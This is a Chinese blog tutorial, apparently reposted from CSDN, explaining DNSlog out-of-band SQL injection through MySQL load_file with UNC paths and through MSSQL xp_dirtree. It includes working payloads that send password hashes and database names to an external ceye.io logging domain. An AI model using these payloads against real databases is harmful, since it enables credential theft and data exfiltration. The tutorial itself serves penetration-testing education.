DNSlog注入

DNSlog注入产生

测试一些网站的时候,一些注入都是无回显的,可以通过写脚本来进行盲注,但有些网站会ban掉我们的ip,可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。

DNSlog注入应用场景

sql注入的盲注、无回显的命令执行、无回显的SSRF

DNSlog注入原理

有一个可以配置的域名(比如:ceye.io),然后通过代理商设置域名(ceye.io)的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,如下图所示:

注入语句:http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))

1),'.mysql.nk40ci.ceye.io\abc'))

UNC路径     dnslog只能用在windows下

\\abc.mysql.nk40ci.ceye.io\abc   

load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

2) UNC路径

百度的UNC路径的解释:UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机,常用的网络共享文件就是这个方式。

其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式:\\sss.xxx\test\

CONCAT()函数拼接了4个\了,通过转义,4个就变\成了2个\,就是利用UNC路径。

tips:Linux不具备UNC路径,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的 


mssql

常见POC如下:

SELECT @host=(SELECT TOP 1master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';

EXEC('master..xp_dirtree"\'+@host+'\foobar$"');

在数据库控制台执行的确是可以得到数据库中sa用户Hex编码之后的Hash的。但是实际要获得我们的test_user的表中的数据的时候,对POC需要一定的加工。

首先在sqlserver中字段名是不能和自定义函数名字冲突的,如果冲突需要用[ ]将字段包裹起来,如下图:

user字段正好和系统的user()函数同名,所以字段需要[ ]包裹

DNS在解析的时候会留下日志,读取多级域名(通过域名拼接可得)的解析日志获取信息

http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来

举例:sql盲注

DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。

当secure_file_priv为null,load_file就不能加载文件;

当secure_file_priv为G:\,就可以读取G盘的文件;

当secure_file_priv为空,就可以读取磁盘的目录。

通过设置my.ini文件中的secure_file_priv="",就可以load_flie任意磁盘的文件

在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句

查看平台dnsLog被记录下来

load_file()函数可以通过dns解析请求。目标主机是联网的windows系统,可读取编译文件

执行的sql语句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)

查看dnslog日志,发现security数据库被查询出来:

Payload:  为了解决sleep时间过长问题,数据外带,标记部分表示域名

http://localhost/sqlilabs/Less-5/?id=1%27%20and%20if((select%20load_file(concat(%27\\\\%27,(select%20database()),%27.uz3g1r.ceye.io\\abc%27))),1,0)--+

发布了103 篇原创文章 · 获赞 26 · 访问量 6133

猜你喜欢

转载自blog.csdn.net/qq_41210745/article/details/103580998